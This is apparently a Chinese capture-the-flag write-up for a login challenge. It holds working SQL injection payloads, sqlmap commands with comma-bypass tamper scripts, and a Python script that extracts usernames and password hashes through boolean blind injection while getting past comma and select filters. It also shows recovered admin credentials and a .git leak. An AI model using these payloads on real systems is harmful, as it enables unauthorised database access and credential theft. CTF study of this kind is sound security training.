登录--sql注入逗号绕过

登录框

容易发现用户名出有注入:测试'=0%23提示密码错,正常显示用户名不存在,应该是布尔盲注。sqlmap可以跑存在注入,但是获取不到数据。一顿测试发现,应该是过滤了逗号以及select。无论是双写还是讲select放入注释中都无法绕过,有点不知所措。

sqlmap结果:


    Parameter: username (POST)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause
    Payload: username=-6775' OR 3228=3228 AND 'CeKi'='CeKi&password=admin

    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 OR time-based blind
    Payload: username=admin' OR SLEEP(5) AND 'uMBE'='uMBE&password=admin

逗号过滤

在注入中无论是联合查询,报错,布尔盲注,时间盲注,一般都需要逗号,针对不同的注入方式有不同的语法可以绕过。比如常见的布尔盲注中需要substr()函数:

select 1 and ascii(substr((user()),1,1)) > 1;

这里的逗号可由from for关键字代替,参数位置没变,第一个参数仍是起始位置:

select 1 and ascii(substr((user()) from 1 for 1)) > 1

尝试sqlmap

sqlmap的tamper插件中给了两种关于绕过逗号的脚本:

  1. commalesslimit.py

将 payload 中的逗号用 offset 代替,用于过滤了逗号并且是两个参数的情况

limit 2,1 -> limit 1 offset 2
  1. commalessmid.py

将 payload 中的逗号用 from for 代替,用于过滤了逗号并且是三参数的情况

mid(version(), 1, 1) -> mid(version() from 1 for 1)

于是尝试如下扫描策略:

$ sqlmap -u "http://5255e3c2f0304c349de8a8e4352d920c0da10d0437204294.game.ichunqiu.com/Challenges/login.php" --data="username=admin&password=admin" -p "username" --risk 3 --tamper "commalessmid.py,commalesslimit.py" --dbs -v 6

仍然失败,查看发出的报文发现,payload如下:

 admin' OR 5674=IF((ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)) FROM 1 FOR 1))>1),SLEEP(5),5674) AND 'JBeb'='JBeb

仍然在其他的地方使用了逗号,所以失败

手工测试

尝试如下成功:

1'or ord(substr((user()) from 1 for 1)) > 1 #

爆破脚本如下:

# -*-coding:utf-8-*- 

import requests
flag = ""
url = "http://5255e3c2f0304c349de8a8e4352d920c0da10d0437204294.game.ichunqiu.com/Challenges/login.php"
for i in range(1,32):
    for j in range(33,127):
        data = {
            #"username" :"admin' or ascii(substr((select SCHEMA_NAME from information_schema.SCHEMATA limit 3,1),%s,1))=%s#"%(i,j)
            
            #"username": "admin' or ascii(substr((select group_concat(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=0x63657463303034),%s,1))=%s#" % (i, j)
            
            #"username": "admin' or ascii(substr((select group_concat(COLUMN_NAME) from information_schema.COLUMNS where TABLE_NAME=0x61646d696e limit 0,1),%s,1))=%s#" % (i, j)
            
            "username": "1'or ord(substr((user()) from %s for 1)) > %s #" % (i, j)

        }

        r = requests.post(url=url,data=data)

        if "不存" in r.content:
            flag += chr(j)
            print flag
            break

成功爆出:user@localhost

SELECT 过滤

而当我把payload变成爆表名的时候却无论如何也无法成功,猜测也许是过滤了select,于是我尝试了如下测试payload:

1'or ord(substr((select user()) from 1 for 1)) > 1 #

只是多了select,果然失败,于是尝试了大小写以及把select放入注释号中/*!12345SELECT*/都没用,但是发现网页里的class给的很奇怪:

用户名:<input type="text" name="username" class="user_n3me">
密码:  <input type="password" name="password" class="p3ss_w0rd">

于是尝试如下,居然成功

1'or ord(substr(user_n3me from 1 for 1)) > 1 #
1'or ord(substr(p3ss_w0rd from 1 for 1)) > 1 #
  • 刚开始我以为很奇怪,我后面都注释掉了应该已经没有from子句了,应该并不知道我选择的哪个表啊?
  • 后来想明白了,因为or与其之后仍属于where子句!!!
select password from users where username = 'admin';
select password from users where username = 'admin' or id =1 #';

所以在where子句里是可以直接使用字段名,并当参数放入函数中的,利用如上脚本爆破用户名密码,cmd5解出hash,登录即可

bctf3dm1n::2bfb1532857ddc0033fdae5bde3facd
bctf3dm1n::adminqwe123666

.git泄露

这题坑就在.bctfg1t,他把.git的目录名给改了,导致rip-git.pl这个脚本无法完全下载泄露的内容,最终flag信息在objects的文件夹下的一条记录。

留。